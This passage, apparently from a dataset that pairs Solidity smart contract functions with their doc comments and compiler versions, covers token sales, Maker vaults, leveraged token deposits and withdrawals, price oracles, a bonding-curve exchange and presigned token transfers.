option.\n amount = _round.contributions[_contributor][_ruling];\n } else {\n // Funding was successful for this ruling option.\n if (_ruling == _finalRuling) {\n // This ruling option is the ultimate winner.\n amount = _round.paidFees[_ruling] > 0 ? (_round.contributions[_contributor][_ruling] * _round.feeRewards) / _round.paidFees[_ruling] : 0;\n } else if (!_round.hasPaid[_finalRuling]) {\n // The ultimate winner was not funded in this round. Contributions discounting the appeal fee are reimbursed proportionally.\n amount = (_round.contributions[_contributor][_ruling] * _round.feeRewards) / (_round.paidFees[_round.fundedRulings[0]] + _round.paidFees[_round.fundedRulings[1]]);\n }\n }\n }", "version": "0.7.6"} {"comment": "/**\r\n * Lifecycle step which delivers the purchased SKUs to the recipient.\r\n * @dev Responsibilities:\r\n * - Ensure the product is delivered to the recipient, if that is the contract's responsibility.\r\n * - Handle any internal logic related to the delivery, including the remaining supply update.\r\n * - Add any relevant extra data related to delivery in `purchase.deliveryData` and document how to interpret it.\r\n * @dev Reverts if there is not enough available supply.\r\n * @dev Reverts if this contract does not have the minter role on the inventory contract.\r\n * @dev Updates `purchase.deliveryData` with the list of tokens allocated from `tokenList` for\r\n * this purchase.\r\n * @dev Mints the tokens allocated in `purchase.deliveryData` to the purchase recipient.\r\n * @param purchase The purchase conditions.\r\n */", "function_code": "function _delivery(PurchaseData memory purchase) internal virtual override {\r\n super._delivery(purchase);\r\n\r\n uint256[] memory ids = new uint256[](purchase.quantity);\r\n uint256[] memory values = new uint256[](purchase.quantity);\r\n\r\n for (uint256 index = 0; index != purchase.quantity; ++index) {\r\n ids[index] = uint256(purchase.deliveryData[index]);\r\n values[index] = 1;\r\n }\r\n\r\n IFixedOrderInventoryTransferable(inventory).safeBatchTransferFrom(tokenHolder, purchase.recipient, ids, values, \"\");\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * Adds additional tokens to the sale supply.\r\n * @dev Reverts if called by any other than the contract owner.\r\n * @dev Reverts if `tokens` is empty.\r\n * @dev Reverts if any of `tokens` are zero.\r\n * @dev The list of tokens specified (in sequence) will be appended to the end of the ordered\r\n * sale supply list.\r\n * @param tokens The list of tokens to add.\r\n */", "function_code": "function addSupply(uint256[] memory tokens) public virtual onlyOwner {\r\n uint256 numTokens = tokens.length;\r\n\r\n // solhint-disable-next-line reason-string\r\n require(numTokens != 0, \"FixedOrderInventorySale: empty tokens to add\");\r\n\r\n for (uint256 i = 0; i != numTokens; ++i) {\r\n uint256 token = tokens[i];\r\n\r\n // solhint-disable-next-line reason-string\r\n require(token != 0, \"FixedOrderInventorySale: adding zero token\");\r\n\r\n tokenList.push(token);\r\n }\r\n\r\n if (_skus.length() != 0) {\r\n bytes32 sku = _skus.at(0);\r\n SkuInfo storage skuInfo = _skuInfos[sku];\r\n skuInfo.totalSupply += numTokens;\r\n skuInfo.remainingSupply += numTokens;\r\n }\r\n }", "version": "0.6.8"} {"comment": "/**\r\n * Sets the tokens of the ordered sale supply list.\r\n * @dev Reverts if called by any other than the contract owner.\r\n * @dev Reverts if called when the contract is not paused.\r\n * @dev Reverts if the sale supply is empty.\r\n * @dev Reverts if the lengths of `indexes` and `tokens` do not match.\r\n * @dev Reverts if `indexes` is zero length.\r\n * @dev Reverts if any of `indexes` are less than `tokenIndex`.\r\n * @dev Reverts if any of `indexes` are out-of-bounds.\r\n * @dev Reverts it `tokens` is zero length.\r\n * @dev Reverts if any of `tokens` are zero.\r\n * @dev Does not allow resizing of the sale supply, only the re-ordering or replacment of\r\n * existing tokens.\r\n * @dev Because the elements of `indexes` and `tokens` are processed in sequence, duplicate\r\n * entries in either array are permitted, which allows for ordered operations to be performed\r\n * on the ordered sale supply list in the same transaction.\r\n * @param indexes The list of indexes in the ordered sale supply list whose element values\r\n * will be set.\r\n * @param tokens The new tokens to set in the ordered sale supply list at the corresponding\r\n * positions provided by `indexes`.\r\n */", "function_code": "function setSupply(uint256[] memory indexes, uint256[] memory tokens) public virtual onlyOwner whenPaused {\r\n uint256 tokenListLength = tokenList.length;\r\n\r\n // solhint-disable-next-line reason-string\r\n require(tokenListLength != 0, \"FixedOrderInventorySale: empty token list\");\r\n\r\n uint256 numIndexes = indexes.length;\r\n\r\n // solhint-disable-next-line reason-string\r\n require(numIndexes != 0, \"FixedOrderInventorySale: empty indexes\");\r\n\r\n uint256 numTokens = tokens.length;\r\n\r\n // solhint-disable-next-line reason-string\r\n require(numIndexes == numTokens, \"FixedOrderInventorySale: array length mismatch\");\r\n\r\n uint256 tokenIndex_ = tokenIndex;\r\n\r\n for (uint256 i = 0; i != numIndexes; ++i) {\r\n uint256 index = indexes[i];\r\n\r\n // solhint-disable-next-line reason-string\r\n require(index >= tokenIndex_, \"FixedOrderInventorySale: invalid index\");\r\n\r\n // solhint-disable-next-line reason-string\r\n require(index < tokenListLength, \"FixedOrderInventorySale: index out-of-bounds\");\r\n\r\n uint256 token = tokens[i];\r\n\r\n // solhint-disable-next-line reason-string\r\n require(token != 0, \"FixedOrderInventorySale: zero token\");\r\n\r\n tokenList[index] = token;\r\n }\r\n }", "version": "0.6.8"} {"comment": "/**\n * @dev Handle the SGA to SGR exchange.\n */", "function_code": "function handleExchangeSGAtoSGRFor(address _sgaHolder) internal {\n uint256 allowance = sgaToken.allowance(_sgaHolder, address(this));\n require(allowance > 0, \"SGA allowance must be greater than zero\");\n uint256 balance = sgaToken.balanceOf(_sgaHolder);\n require(balance > 0, \"SGA balance must be greater than zero\");\n uint256 amountToExchange = allowance.min(balance);\n\n sgaToken.transferFrom(_sgaHolder, SGA_TARGET_ADDRESS, amountToExchange);\n sgrToken.transfer(_sgaHolder, amountToExchange);\n emit ExchangeSgaForSgrCompleted(_sgaHolder, amountToExchange);\n }", "version": "0.4.25"} {"comment": "/**\r\n \t * We originally passed the userIDs as: bytes20[] userIDs\r\n \t * But it was discovered that this was inefficiently packed,\r\n \t * and ended up sending 12 bytes of zero's per userID.\r\n \t * Since gtxdatazero is set to 4 gas/bytes, this translated into\r\n \t * 48 gas wasted per user due to inefficient packing.\r\n \t**/", "function_code": "function addMerkleTreeRoot(bytes32 merkleTreeRoot, bytes userIDsPacked) public onlyByOwner {\r\n\r\n\t\tif (merkleTreeRoot == bytes32(0)) require(false);\r\n\r\n\t\tbool addedUser = false;\r\n\r\n\t\tuint numUserIDs = userIDsPacked.length / 20;\r\n\t\tfor (uint i = 0; i < numUserIDs; i++)\r\n\t\t{\r\n\t\t\tbytes20 userID;\r\n\t\t\tassembly {\r\n\t\t\t\tuserID := mload(add(userIDsPacked, add(32, mul(20, i))))\r\n\t\t\t}\r\n\r\n\t\t\tbytes32 existingMerkleTreeRoot = users[userID];\r\n\t\t\tif (existingMerkleTreeRoot == bytes32(0))\r\n\t\t\t{\r\n\t\t\t\tusers[userID] = merkleTreeRoot;\r\n\t\t\t\taddedUser = true;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (addedUser && (merkleTreeRoots[merkleTreeRoot] == 0))\r\n\t\t{\r\n\t\t\tmerkleTreeRoots[merkleTreeRoot] = block.number;\r\n\t\t}\r\n\t}", "version": "0.4.24"} {"comment": "/// Utility function to return a full array of all your EtherFly ", "function_code": "function getMyEtherFlies() public view returns (uint256[] memory) {\n uint256 itemCount = balanceOf(msg.sender);\n uint256[] memory items = new uint256[](itemCount);\n \n for (uint256 i = 0; i < itemCount; i++) {\n items[i] = tokenOfOwnerByIndex(msg.sender, i);\n }\n return items;\n }", "version": "0.8.4"} {"comment": "/**\r\n * @notice Returns interest earned since last rebalance.\r\n * @dev Make sure to return value in collateral token and in order to do that\r\n * we are using Uniswap to get collateral amount for earned DAI.\r\n */", "function_code": "function interestEarned() external view virtual returns (uint256) {\r\n uint256 daiBalance = _getDaiBalance();\r\n uint256 debt = cm.getVaultDebt(vaultNum);\r\n if (daiBalance > debt) {\r\n uint256 daiEarned = daiBalance.sub(debt);\r\n IUniswapV2Router02 uniswapRouter = IUniswapV2Router02(controller.uniswapRouter());\r\n address[] memory path = _getPath(DAI, address(collateralToken));\r\n return uniswapRouter.getAmountsOut(daiEarned, path)[path.length - 1];\r\n }\r\n return 0;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Create new Maker vault", "function_code": "function _createVault(bytes32 _collateralType, address _cm) internal returns (uint256 vaultId) {\r\n address mcdManager = ICollateralManager(_cm).mcdManager();\r\n ManagerInterface manager = ManagerInterface(mcdManager);\r\n vaultId = manager.open(_collateralType, address(this));\r\n manager.cdpAllow(vaultId, address(this), 1);\r\n\r\n //hope and cpdAllow on vat for collateralManager's address\r\n VatInterface(manager.vat()).hope(_cm);\r\n manager.cdpAllow(vaultId, _cm, 1);\r\n\r\n //Register vault with collateral Manager\r\n ICollateralManager(_cm).registerVault(vaultId, _collateralType);\r\n }", "version": "0.6.12"} {"comment": "// EIP-1167", "function_code": "function derivate(bytes32 salt) external returns (address result) {\r\n bytes20 targetBytes = bytes20(address(this));\r\n assembly {\r\n let bs := mload(0x40)\r\n mstore(bs, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\r\n mstore(add(bs, 0x14), targetBytes)\r\n mstore(add(bs, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\r\n\r\n let encoded_data := add(0x20, bs) // load initialization code.\r\n let encoded_size := mload(bs) // load the init code's length.\r\n\r\n result := create2(0, bs, 0x37, salt)\r\n }\r\n\r\n emit Created(salt, result);\r\n }", "version": "0.8.9"} {"comment": "/**\n * @notice Deposit ETH to mint cube tokens\n * @dev Quantity of cube tokens minted is calculated from the amount of ETH\n * attached with transaction\n * @param cubeToken Which cube token to mint\n * @param recipient Address that receives the cube tokens\n * @return cubeTokensOut Quantity of cube tokens that were minted\n */", "function_code": "function deposit(CubeToken cubeToken, address recipient)\n external\n payable\n nonReentrant\n returns (uint256 cubeTokensOut)\n {\n CubeTokenParams storage _params = params[cubeToken];\n require(_params.added, \"Not added\");\n require(!_params.depositPaused, \"Paused\");\n require(msg.value > 0, \"msg.value should be > 0\");\n require(recipient != address(0), \"Zero address\");\n\n (uint256 price, uint256 _totalEquity) = _priceAndTotalEquity(cubeToken);\n _updatePrice(cubeToken, price);\n\n uint256 fees = _mulFee(msg.value, _params.depositWithdrawFee);\n uint256 ethIn = msg.value.sub(fees);\n uint256 _poolBalance = poolBalance();\n cubeTokensOut = _divPrice(ethIn, price, _totalEquity, _poolBalance.sub(msg.value));\n totalEquity = _totalEquity.add(cubeTokensOut.mul(price));\n\n uint256 protocolFees = _mulFee(fees, protocolFee);\n accruedProtocolFees = accruedProtocolFees.add(protocolFees);\n cubeToken.mint(recipient, cubeTokensOut);\n\n if (_params.maxPoolShare > 0) {\n uint256 equity = cubeToken.totalSupply().mul(price);\n require(equity.mul(1e4) <= _params.maxPoolShare.mul(totalEquity), \"Max pool share exceeded\");\n }\n\n if (maxPoolBalance > 0) {\n require(_poolBalance <= maxPoolBalance, \"Max pool balance exceeded\");\n }\n\n emit DepositOrWithdraw(cubeToken, msg.sender, recipient, true, cubeTokensOut, msg.value, protocolFees);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Burn cube tokens to withdraw ETH\n * @param cubeToken Which cube token to burn\n * @param cubeTokensIn Quantity of cube tokens to burn\n * @param recipient Address that receives the withdrawn ETH\n * @return ethOut Amount of ETH withdrawn\n */", "function_code": "function withdraw(\n CubeToken cubeToken,\n uint256 cubeTokensIn,\n address recipient\n ) external nonReentrant returns (uint256 ethOut) {\n CubeTokenParams storage _params = params[cubeToken];\n require(_params.added, \"Not added\");\n require(!_params.withdrawPaused, \"Paused\");\n require(cubeTokensIn > 0, \"cubeTokensIn should be > 0\");\n require(recipient != address(0), \"Zero address\");\n\n (uint256 price, uint256 _totalEquity) = _priceAndTotalEquity(cubeToken);\n _updatePrice(cubeToken, price);\n\n ethOut = _mulPrice(cubeTokensIn, price, _totalEquity, poolBalance());\n uint256 fees = _mulFee(ethOut, _params.depositWithdrawFee);\n ethOut = ethOut.sub(fees);\n\n // Make sure pool size isn't too small, otherwise there could be\n // rounding issues. Check total equity instead of pool balance since\n // pool balance is increased again by fees going back into pool.\n _totalEquity = _totalEquity.sub(cubeTokensIn.mul(price));\n require(_totalEquity >= MIN_TOTAL_EQUITY, \"Min total equity exceeded\");\n totalEquity = _totalEquity;\n\n uint256 protocolFees = _mulFee(fees, protocolFee);\n accruedProtocolFees = accruedProtocolFees.add(protocolFees);\n\n cubeToken.burn(msg.sender, cubeTokensIn);\n payable(recipient).transfer(ethOut);\n\n emit DepositOrWithdraw(cubeToken, msg.sender, recipient, false, cubeTokensIn, ethOut, protocolFees);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Add a new cube token. Can only be called by governance.\n * @param spotSymbol Symbol of underlying token. Used to fetch price from oracle\n * @param inverse True means 3x short token. False means 3x long token.\n * @return address Address of cube token that was added\n */", "function_code": "function addCubeToken(\n string memory spotSymbol,\n bool inverse,\n uint256 depositWithdrawFee,\n uint256 maxPoolShare\n ) external onlyGovernance returns (address) {\n require(address(cubeTokensMap[spotSymbol][inverse]) == address(0), \"Already added\");\n\n bytes32 salt = keccak256(abi.encodePacked(spotSymbol, inverse));\n CubeToken cubeToken = CubeToken(Clones.cloneDeterministic(address(cubeTokenImpl), salt));\n cubeToken.initialize(address(this), spotSymbol, inverse);\n\n bytes32 currencyKey = feed.stringToBytes32(spotSymbol);\n uint256 spot = feed.getPrice(currencyKey);\n require(spot > 0, \"Spot price should be > 0\");\n\n params[cubeToken] = CubeTokenParams({\n currencyKey: currencyKey,\n inverse: inverse,\n depositPaused: false,\n withdrawPaused: false,\n updatePaused: false,\n added: true,\n depositWithdrawFee: depositWithdrawFee,\n maxPoolShare: maxPoolShare,\n initialSpotPrice: spot,\n lastPrice: 0,\n lastUpdated: 0\n });\n cubeTokensMap[spotSymbol][inverse] = cubeToken;\n cubeTokens.push(cubeToken);\n\n // Set `lastPrice` and `lastUpdated`\n update(cubeToken);\n assert(params[cubeToken].lastPrice > 0);\n assert(params[cubeToken].lastUpdated > 0);\n\n emit AddCubeToken(cubeToken, spotSymbol, inverse, currencyKey, spot);\n return address(cubeToken);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Calculate ETH withdrawn when burning `cubeTokensIn` cube tokens.\n */", "function_code": "function quoteWithdraw(CubeToken cubeToken, uint256 cubeTokensIn) external view returns (uint256) {\n (uint256 price, uint256 _totalEquity) = _priceAndTotalEquity(cubeToken);\n uint256 ethOut = _mulPrice(cubeTokensIn, price, _totalEquity, poolBalance());\n uint256 fees = _mulFee(ethOut, params[cubeToken].depositWithdrawFee);\n return ethOut.sub(fees);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Get the underlying price of a listed cToken asset\n * @param cToken The cToken to get the underlying price of\n * @return The underlying asset price mantissa (scaled by 1e18)\n */", "function_code": "function getUnderlyingPrice(CToken cToken) public view returns (uint) {\n address cTokenAddress = address(cToken);\n if (cTokenAddress == cEthAddress) {\n // ether always worth 1\n return 1e18;\n }\n\n // Handle xSUSHI.\n if (cTokenAddress == cXSushiAddress) {\n uint exchangeRate = IXSushiExchangeRate(xSushiExRateAddress).getExchangeRate();\n return mul_(getTokenPrice(sushiAddress), Exp({mantissa: exchangeRate}));\n }\n\n address underlying = CErc20(cTokenAddress).underlying();\n\n // Handle LP tokens.\n if (areUnderlyingLPs[cTokenAddress]) {\n return getLPFairPrice(underlying);\n }\n\n // Handle Yvault tokens.\n if (yvTokens[underlying].isYvToken) {\n return getYvTokenPrice(underlying);\n }\n\n // Handle curve pool tokens.\n if (crvTokens[underlying].isCrvToken) {\n return getCrvTokenPrice(underlying);\n }\n\n return getTokenPrice(underlying);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Get the price of a specific token. Return 1e18 is it's WETH.\n * @param token The token to get the price of\n * @return The price\n */", "function_code": "function getTokenPrice(address token) internal view returns (uint) {\n if (token == wethAddress) {\n // weth always worth 1\n return 1e18;\n }\n\n AggregatorV3Interface aggregator = aggregators[token];\n if (address(aggregator) != address(0)) {\n uint price = getPriceFromChainlink(aggregator);\n uint underlyingDecimals = EIP20Interface(token).decimals();\n return mul_(price, 10**(18 - underlyingDecimals));\n }\n return getPriceFromV1(token);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Get price from ChainLink\n * @param aggregator The ChainLink aggregator to get the price of\n * @return The price\n */", "function_code": "function getPriceFromChainlink(AggregatorV3Interface aggregator) internal view returns (uint) {\n ( , int price, , , ) = aggregator.latestRoundData();\n require(price > 0, \"invalid price\");\n\n // Extend the decimals to 1e18.\n return mul_(uint(price), 10**(18 - uint(aggregator.decimals())));\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Get the fair price of a LP. We use the mechanism from Alpha Finance.\n * Ref: https://blog.alphafinance.io/fair-lp-token-pricing/\n * @param pair The pair of AMM (Uniswap or SushiSwap)\n * @return The price\n */", "function_code": "function getLPFairPrice(address pair) internal view returns (uint) {\n address token0 = IUniswapV2Pair(pair).token0();\n address token1 = IUniswapV2Pair(pair).token1();\n uint totalSupply = IUniswapV2Pair(pair).totalSupply();\n (uint r0, uint r1, ) = IUniswapV2Pair(pair).getReserves();\n uint sqrtR = sqrt(mul_(r0, r1));\n uint p0 = getTokenPrice(token0);\n uint p1 = getTokenPrice(token1);\n uint sqrtP = sqrt(mul_(p0, p1));\n return div_(mul_(2, mul_(sqrtR, sqrtP)), totalSupply);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Get price for Yvault tokens\n * @param token The Yvault token\n * @return The price\n */", "function_code": "function getYvTokenPrice(address token) internal view returns (uint) {\n YvTokenInfo memory yvTokenInfo = yvTokens[token];\n require(yvTokenInfo.isYvToken, \"not a Yvault token\");\n\n uint pricePerShare;\n address underlying;\n if (yvTokenInfo.version == YvTokenVersion.V1) {\n pricePerShare = YVaultV1Interface(token).getPricePerFullShare();\n underlying = YVaultV1Interface(token).token();\n } else {\n pricePerShare = YVaultV2Interface(token).pricePerShare();\n underlying = YVaultV2Interface(token).token();\n }\n\n uint underlyingPrice;\n if (crvTokens[underlying].isCrvToken) {\n underlyingPrice = getCrvTokenPrice(underlying);\n } else {\n underlyingPrice = getTokenPrice(underlying);\n }\n return mul_(underlyingPrice, Exp({mantissa: pricePerShare}));\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Get price for curve pool tokens\n * @param token The curve pool token\n * @return The price\n */", "function_code": "function getCrvTokenPrice(address token) internal view returns (uint) {\n CrvTokenInfo memory crvTokenInfo = crvTokens[token];\n require(crvTokenInfo.isCrvToken, \"not a curve pool token\");\n\n uint virtualPrice = CurveSwapInterface(crvTokenInfo.curveSwap).get_virtual_price();\n if (crvTokenInfo.poolTpye == CurvePoolType.ETH) {\n return virtualPrice;\n }\n\n // We treat USDC as USD and convert the price to ETH base.\n uint usdEthPrice = getTokenPrice(usdcAddress) / 1e12;\n return mul_(usdEthPrice, Exp({mantissa: virtualPrice}));\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Set ChainLink aggregators for multiple cTokens\n * @param tokenAddresses The list of underlying tokens\n * @param sources The list of ChainLink aggregator sources\n */", "function_code": "function _setAggregators(address[] calldata tokenAddresses, address[] calldata sources) external {\n require(msg.sender == admin || msg.sender == guardian, \"only the admin or guardian may set the aggregators\");\n require(tokenAddresses.length == sources.length, \"mismatched data\");\n for (uint i = 0; i < tokenAddresses.length; i++) {\n if (sources[i] != address(0)) {\n require(msg.sender == admin, \"guardian may only clear the aggregator\");\n }\n aggregators[tokenAddresses[i]] = AggregatorV3Interface(sources[i]);\n emit AggregatorUpdated(tokenAddresses[i], sources[i]);\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @notice See assets as LP tokens for multiple cTokens\n * @param cTokenAddresses The list of cTokens\n * @param isLP The list of cToken properties (it's LP or not)\n */", "function_code": "function _setLPs(address[] calldata cTokenAddresses, bool[] calldata isLP) external {\n require(msg.sender == admin, \"only the admin may set LPs\");\n require(cTokenAddresses.length == isLP.length, \"mismatched data\");\n for (uint i = 0; i < cTokenAddresses.length; i++) {\n areUnderlyingLPs[cTokenAddresses[i]] = isLP[i];\n emit IsLPUpdated(cTokenAddresses[i], isLP[i]);\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @notice See assets as Yvault tokens for multiple cTokens\n * @param tokenAddresses The list of underlying tokens\n * @param version The list of vault version\n */", "function_code": "function _setYVaultTokens(address[] calldata tokenAddresses, YvTokenVersion[] calldata version) external {\n require(msg.sender == admin, \"only the admin may set Yvault tokens\");\n require(tokenAddresses.length == version.length, \"mismatched data\");\n for (uint i = 0; i < tokenAddresses.length; i++) {\n // Sanity check to make sure version is right.\n if (version[i] == YvTokenVersion.V1) {\n YVaultV1Interface(tokenAddresses[i]).getPricePerFullShare();\n } else {\n YVaultV2Interface(tokenAddresses[i]).pricePerShare();\n }\n\n yvTokens[tokenAddresses[i]] = YvTokenInfo({isYvToken: true, version: version[i]});\n emit SetYVaultToken(tokenAddresses[i], version[i]);\n }\n }", "version": "0.5.17"} {"comment": "/**\n * @notice See assets as curve pool tokens for multiple cTokens\n * @param tokenAddresses The list of underlying tokens\n * @param poolType The list of curve pool type (ETH or USD base only)\n * @param swap The list of curve swap address\n */", "function_code": "function _setCurveTokens(address[] calldata tokenAddresses, CurvePoolType[] calldata poolType, address[] calldata swap) external {\n require(msg.sender == admin, \"only the admin may set curve pool tokens\");\n require(tokenAddresses.length == poolType.length && tokenAddresses.length == swap.length, \"mismatched data\");\n for (uint i = 0; i < tokenAddresses.length; i++) {\n // Sanity check to make sure version is right.\n require(CurveSwapInterface(swap[i]).lp_token() == tokenAddresses[i], \"incorrect pool\");\n\n crvTokens[tokenAddresses[i]] = CrvTokenInfo({isCrvToken: true, poolTpye: poolType[i], curveSwap: swap[i]});\n emit SetCurveToken(tokenAddresses[i], poolType[i], swap[i]);\n }\n }", "version": "0.5.17"} {"comment": "//\n// Dessert distribution for each OCM# (j)\n//\n// If offset is 0, 15 Dessert3s at j = 364, 1301, 1453, 1527, 1601, 1629, 2214, 4097, 5227, 5956, 6694, 6754, 7442, 9132, 9850\n// Overall distribution of Desserts is 15 Dessert3, 4485 Dessert2, 5500 Dessert1\n//", "function_code": "function dessert(uint256 j) public view returns (uint256) {\n require(counter > 0, \"Dessert not served\");\n require(j>0 && j<10001, 'error');\n j = (j + offset) % 10000; // this is the fair and random offset from the VRF\n uint256 r = (uint256(keccak256(abi.encode(j.toString())))) % 10000; // this is the fixed sequence with the desired rarity distribution\n if (r < 8) {\n return 3; // Dessert3\n } else if (r >= 5538) {\n return 2; // Dessert2\n } else {\n return 1; // Dessert1\n }\n }", "version": "0.8.7"} {"comment": "// return a * b", "function_code": "function mul(uint256 a, uint256 b) public pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint256 c = a * b;\r\n require(c / a == b, \"mul overflow\");\r\n return c;\r\n }", "version": "0.6.8"} {"comment": "// return the greatest uint256 less than or equal to the square root of a", "function_code": "function sqrt(uint256 a) public pure returns (uint256) {\r\n uint256 result = 0;\r\n uint256 bit = 1 << 254; // the second to top bit\r\n while (bit > a) {\r\n bit >>= 2;\r\n }\r\n while (bit != 0) {\r\n uint256 sum = result + bit;\r\n result >>= 1;\r\n if (a >= sum) {\r\n a -= sum;\r\n result += bit;\r\n }\r\n bit >>= 2;\r\n }\r\n return result;\r\n }", "version": "0.6.8"} {"comment": "/// @dev call token.approve(this, _tokens) before this\n/// @notice sells tokens for eth; if there is not enough eth in the exchange,\n/// or amount of tokens is too big, only appropriate amount of tokens will be used for sale;\n/// reverts if balance of the exchange is greater than 5*10^24 tokens", "function_code": "function sell(uint256 _tokens) public {\r\n uint256 tokensBefore = Erc20(token).balanceOf(address(this));\r\n require(tokensBefore <= maxAmount, \"big balance\");\r\n uint256 tokensAfter = tokensBefore.add(_tokens);\r\n if (tokensAfter > maxAmount) {\r\n tokensAfter = maxAmount;\r\n _tokens = tokensAfter.sub(tokensBefore);\r\n }\r\n\r\n uint256 sum = s(tokensBefore, tokensAfter);\r\n if (sum > address(this).balance) {\r\n sum = address(this).balance;\r\n tokensAfter = v(tokensBefore, false, sum);\r\n _tokens = tokensAfter.sub(tokensBefore);\r\n }\r\n\r\n Erc20(token).transferFrom(msg.sender, address(this), _tokens);\r\n msg.sender.transfer(sum);\r\n emit Sell(msg.sender, sum);\r\n }", "version": "0.6.8"} {"comment": "/// @notice feel free to clean from all spam tokens,\n/// grab free tokens if there is too much of them", "function_code": "function clean(address _contract, uint256 _value) public {\r\n if (_contract == token) {\r\n uint256 tokens = Erc20(token).balanceOf(address(this));\r\n require(tokens > maxAmount, \"no free tokens\");\r\n require(_value <= tokens.sub(maxAmount), \"big _value\");\r\n }\r\n Erc20(_contract).transfer(msg.sender, _value);\r\n }", "version": "0.6.8"} {"comment": "/// @dev reverts if balance of the exchange is greater than 5*10^24 tokens\n/// @return eth/10^18 to receive from sale of provided number of tokens/10^18", "function_code": "function tokensToEthForSale(uint256 _tokens) public view returns (uint256) {\r\n uint256 tokensBefore = Erc20(token).balanceOf(address(this));\r\n require(tokensBefore <= maxAmount, \"big balance\");\r\n uint256 tokensAfter = tokensBefore.add(_tokens);\r\n if (tokensAfter > maxAmount) {\r\n tokensAfter = maxAmount;\r\n }\r\n\r\n uint256 sum = s(tokensBefore, tokensAfter);\r\n if (sum > address(this).balance) {\r\n return address(this).balance;\r\n }\r\n return sum;\r\n }", "version": "0.6.8"} {"comment": "/// @dev reverts if there is not enough eth in the exchange,\n/// or amount of tokens is too big,\n/// or balance of the exchange is greater than 5*10^24 tokens\n/// @return amount of tokens/10^18 required to get desired amount of eth/10^18", "function_code": "function ethToTokensForSale(uint256 _eth) public view returns (uint256) {\r\n uint256 tokensBefore = Erc20(token).balanceOf(address(this));\r\n require(tokensBefore <= maxAmount, \"big balance\");\r\n require(_eth <= address(this).balance, \"big _eth\");\r\n uint256 tokensAfter = v(tokensBefore, false, _eth);\r\n return tokensAfter.sub(tokensBefore);\r\n }", "version": "0.6.8"} {"comment": "// v0 - current volume in tokens\n// require v0 <= 5*10^24, check this before!\n// isV0Right - bool, if true, returns v <= v0, else returns v >= v0\n// s - sum in wei\n// returns volume v in tokens, reverts if s is too big\n// 0 <= v <= 5*10^24", "function_code": "function v(uint256 v0, bool isV0Right, uint256 s) private pure returns (uint256) {\r\n uint256 d = 10**50;\r\n if (isV0Right) {\r\n d = d.add(s.mul(4*10**25)).sub(Math.sub(10**25, v0).mul(v0).mul(4));\r\n } else {\r\n d = d.sub(s.mul(4*10**25)).sub(Math.sub(10**25, v0).mul(v0).mul(4));\r\n }\r\n return Math.sub(5*10**24, d.sqrt().div(2));\r\n }", "version": "0.6.8"} {"comment": "/**\n * recover '_from' address by signature\n */", "function_code": "function testVerify(bytes32 s, bytes32 r, uint8 v, address _to, uint256 _value, uint256 _fee, uint256 _nonce) internal view returns (address) {\n Unit memory _msgobj = Unit({\n to : _to,\n value : _value,\n fee : _fee,\n nonce : _nonce\n });\n return ecrecover(hashUnit(_msgobj), v, r, s);\n }", "version": "0.4.26"} {"comment": "/**\n * burn the specific signature from the signatures\n *\n * Requirement:\n * - sender(Caller) should be signer of that specific signature\n */", "function_code": "function burnTransaction(bytes32 s, bytes32 r, uint8 v, address _to, uint256 _value, uint256 _fee, uint256 _nonce) validAddress(_to, \"_to address is not valid\") public {\n require(!signatures[s], \"this signature is burned or done before\");\n address from = testVerify(s, r, v, _to, _value, _fee, _nonce);\n require(from == msg.sender, \"you're not permitted to burn this signature\");\n signatures[s] = true;\n }", "version": "0.4.26"} {"comment": "/**\n * check if the transferPreSigned is valid or not!?\n *\n * Requirement:\n * - '_to' can not be zero address.\n */", "function_code": "function validTransaction(bytes32 s, bytes32 r, uint8 v, address _to, uint256 _value, uint256 _fee, uint256 _nonce) validAddress(_to, \"_to address is not valid\") view public returns (bool, address) {\n address from = testVerify(s, r, v, _to, _value, _fee, _nonce);\n require(!isBlackListed[from], \"from address is blacklisted\");\n return (from != address(0) && !signatures[s] && balances[from] >= _value.add(_fee), from);\n }", "version": "0.4.26"} {"comment": "/**\n * submit the transferPreSigned\n *\n * Requirement:\n * - '_to' can not be zero address.\n * signature must be unused\n */", "function_code": "function transferPreSigned(bytes32 s, bytes32 r, uint8 v, address _to, uint256 _value, uint256 _fee, uint256 _nonce) validAddress(_to, \"_to address is not valid\") public returns (bool){\n require(signatures[s] == false, \"signature has been used\");\n address from = testVerify(s, r, v, _to, _value, _fee, _nonce);\n require(from != address(0), \"signature is wrong\");\n require(!isBlackListed[from], \"from address is blacklisted\");\n balances[from] = balances[from].sub(_value.add(_fee));\n balances[_to] = balances[_to].add(_value);\n balances[msg.sender] = balances[msg.sender].add(_fee);\n signatures[s] = true;\n emit Transfer(from, _to, _value);\n emit Transfer(from, msg.sender, _fee);\n emit TransferPreSigned(from, _to, msg.sender, _value, _fee);\n return true;\n }", "version": "0.4.26"} {"comment": "/**\n * sender(caller) vote for transfer `_from' address to '_to' address in board of directors\n *\n * Requirement:\n * - sender(Caller) and _from` should be in the board of directors.\n * - `_to` shouldn't be in the board of directors\n */", "function_code": "function transferAuthority(uint256 from, address to) notInBoD(to, \"_to address is already in board of directors\") isAuthority(msg.sender, \"you are not permitted to vote for transfer\") public {\n require(from < BoDAddresses.length);\n if (BoDAddresses[from] == msg.sender) {\n transferAuth(from, to);\n return;\n }\n require(!transferObject.voted[msg.sender]);\n\n if (transferObject.from != from || transferObject.to != to) {\n transferObject.transferCounter = 0;\n for (uint j = 0; j < BoDAddresses.length; j++) {\n transferObject.voted[BoDAddresses[j]] = false;\n }\n }\n if (transferObject.transferCounter == 0) {\n transferObject.from = from;\n transferObject.to = to;\n \n }\n transferObject.transferCounter++;\n transferObject.voted[msg.sender] = true;\n if 